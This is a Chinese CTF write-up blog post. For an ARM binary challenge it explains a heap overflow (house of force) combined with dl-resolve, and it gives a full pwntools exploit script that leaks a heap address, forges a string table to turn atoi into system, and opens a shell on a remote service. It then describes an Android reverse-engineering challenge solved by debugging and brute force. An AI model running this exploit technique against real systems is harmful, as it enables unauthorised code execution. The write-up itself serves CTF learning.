标签:
用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolve
Info leak:
在printf key8时,泄漏堆上地址。
增大top chunk的大小
可以保证下一次malloc时,申请到任意地址内存
申请内存,覆盖secret, name, key16
使得内存结构为:
Addr data
00010FB4(addr of secret) pointer to name(00010fb8)
00010fb8(addr of name)
00010fbc(addr of key16)
这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。
利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里‘atoi‘被修改为了‘system‘,所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。
1 from pwn import * 2 import time 3 #by wah 4 #context.log_level = ‘debug‘ 5 #s = remote(‘127.0.0.1‘, 10001) 6 s = remote(‘166.111.132.49‘, 9999) 7 ‘‘‘ 8 time.sleep(1) 9 print ‘ruin pid is %d‘ % pwnlib.util.proc.pidof(‘ruin‘)[0] 10 ‘‘‘ 11 raw_input(‘go!‘) 12 13 s.recvuntil(‘please input your 8-bit key:‘) 14 s.send(‘11111111‘) 15 heap = s.recvuntil(‘ ‘)[8:-1] 16 heapaddr = u32(heap.ljust(4,‘\x00‘)) 17 topaddr = heapaddr + 0x8 18 print ‘heap addr is ‘ + str(heapaddr) 19 print ‘top chunk addr is ‘ + str(topaddr) 20 21 s.recvuntil(‘please input your 8-bit key:‘) 22 s.send(‘security‘) 23 s.recvuntil(‘Give me your choice(1-4):‘) 24 s.sendline(‘2‘) 25 s.recvuntil(‘please input your secret:‘) 26 s.sendline(‘a‘*8 + p32(0) + ‘\xff\xff\xff\xff‘) 27 28 s.recvuntil(‘Give me your choice(1-4):‘) 29 s.sendline(‘2‘) 30 s.recvuntil(‘please input your secret:‘) 31 s.sendline(‘‘) 32 33 namelen = 0x10fa8 + 0x100000000 - 8 - topaddr 34 namelen = 0xffffffff^namelen+1 35 s.recvuntil(‘Give me your choice(1-4):‘) 36 s.sendline(‘3‘) 37 s.recvuntil(‘please input your name length:‘) 38 s.sendline(‘-‘ + str(namelen)) 39 s.recvuntil(‘enter your name:‘) 40 #s.sendline(‘namename‘) 41 42 s.recvuntil(‘Give me your choice(1-4):‘) 43 s.sendline(‘1‘) 44 s.recvuntil(‘enter the new 16-bit key:‘) 45 #s.send(p32(0x00008594)*4) 46 s.send(‘a‘*4 + p32(0x10fb8) + p32(0x10fb4)*2) 47 48 s.recvuntil(‘Give me your choice(1-4):‘) 49 s.sendline(‘2‘) 50 s.recvuntil(‘please input your secret:‘) 51 strtabaddr = heapaddr + 0x200 52 s.sendline(2*p32(strtabaddr)) 53 54 s.recvuntil(‘Give me your choice(1-4):‘) 55 s.sendline(‘1‘) 56 s.recvuntil(‘enter the new 16-bit key:‘) 57 print len(‘\x00libc.so.6\x00exit\x00‘) 58 s.send(‘\x00libc.so.6\x00exit\x00‘) 59 60 s.recvuntil(‘Give me your choice(1-4):‘) 61 s.sendline(‘2‘) 62 s.recvuntil(‘please input your secret:‘) 63 strtabaddr = heapaddr + 0x210 64 s.sendline(2*p32(strtabaddr)) 65 66 s.recvuntil(‘Give me your choice(1-4):‘) 67 s.sendline(‘1‘) 68 s.recvuntil(‘enter the new 16-bit key:‘) 69 print len(‘strncmp\x00puts\x00__s‘) 70 s.send(‘strncmp\x00puts\x00__s‘) 71 72 s.recvuntil(‘Give me your choice(1-4):‘) 73 s.sendline(‘2‘) 74 s.recvuntil(‘please input your secret:‘) 75 strtabaddr = heapaddr + 0x220 76 s.sendline(2*p32(strtabaddr)) 77 78 s.recvuntil(‘Give me your choice(1-4):‘) 79 s.sendline(‘1‘) 80 s.recvuntil(‘enter the new 16-bit key:‘) 81 print len(‘tack_chk_fail\x00ab‘) 82 s.send(‘tack_chk_fail\x00ab‘)#ort\x00 83 84 s.recvuntil(‘Give me your choice(1-4):‘) 85 s.sendline(‘2‘) 86 s.recvuntil(‘please input your secret:‘) 87 strtabaddr = heapaddr + 0x230 88 s.sendline(2*p32(strtabaddr)) 89 90 s.recvuntil(‘Give me your choice(1-4):‘) 91 s.sendline(‘1‘) 92 s.recvuntil(‘enter the new 16-bit key:‘) 93 print len(‘ort\x00stdin\x00printf‘) 94 s.send(‘ort\x00stdin\x00printf‘)# 95 96 s.recvuntil(‘Give me your choice(1-4):‘) 97 s.sendline(‘2‘) 98 s.recvuntil(‘please input your secret:‘) 99 strtabaddr = heapaddr + 0x240 100 s.sendline(2*p32(strtabaddr)) 101 102 s.recvuntil(‘Give me your choice(1-4):‘) 103 s.sendline(‘1‘) 104 s.recvuntil(‘enter the new 16-bit key:‘) 105 print len(‘\x00fgets\x00stdout\x00ma‘) 106 s.send(‘\x00fgets\x00stdout\x00ma‘)# 107 108 s.recvuntil(‘Give me your choice(1-4):‘) 109 s.sendline(‘2‘) 110 s.recvuntil(‘please input your secret:‘) 111 strtabaddr = heapaddr + 0x250 112 s.sendline(2*p32(strtabaddr)) 113 114 s.recvuntil(‘Give me your choice(1-4):‘) 115 s.sendline(‘1‘) 116 s.recvuntil(‘enter the new 16-bit key:‘) 117 print len(‘lloc\x00fread\x00syste‘) 118 s.send(‘lloc\x00fread\x00syste‘)# 119 120 s.recvuntil(‘Give me your choice(1-4):‘) 121 s.sendline(‘2‘) 122 s.recvuntil(‘please input your secret:‘) 123 strtabaddr = heapaddr + 0x260 124 s.sendline(2*p32(strtabaddr)) 125 126 s.recvuntil(‘Give me your choice(1-4):‘) 127 s.sendline(‘1‘) 128 s.recvuntil(‘enter the new 16-bit key:‘) 129 print len(‘m\x00setbuf\x00__libc_‘) 130 s.send(‘m\x00setbuf\x00__libc_‘) 131 132 s.recvuntil(‘Give me your choice(1-4):‘) 133 s.sendline(‘2‘) 134 s.recvuntil(‘please input your secret:‘) 135 dynamic = 0x10ea0+4 136 s.sendline(2*p32(dynamic)) 137 138 s.recvuntil(‘Give me your choice(1-4):‘) 139 s.sendline(‘1‘) 140 s.recvuntil(‘enter the new 16-bit key:‘) 141 s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a)) 142 143 s.recvuntil(‘Give me your choice(1-4):‘) 144 s.sendline(‘2‘) 145 s.recvuntil(‘please input your secret:‘) 146 atoigot = 0x00010F80 147 s.sendline(2*p32(atoigot)) 148 149 s.recvuntil(‘Give me your choice(1-4):‘) 150 s.sendline(‘1‘) 151 s.recvuntil(‘enter the new 16-bit key:‘) 152 print len(4*p32(0x8574)) 153 s.send(4*p32(0x8574)) 154 155 s.recvuntil(‘Give me your choice(1-4):‘) 156 s.sendline(‘/bin/sh;‘) 157 s.interactive()
Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。
猜测让v13等于就可以,就是猜的!
进入check1,在my_pow()处下断点,进行观察函数功能。
在sub_1aa4处下断点,观察函数功能。
猜测让v11<0就可以,就是猜的!
调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x10000000,那么会被当作负数。
好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。
标签:
原文地址:http://www.cnblogs.com/wangaohui/p/5310245.html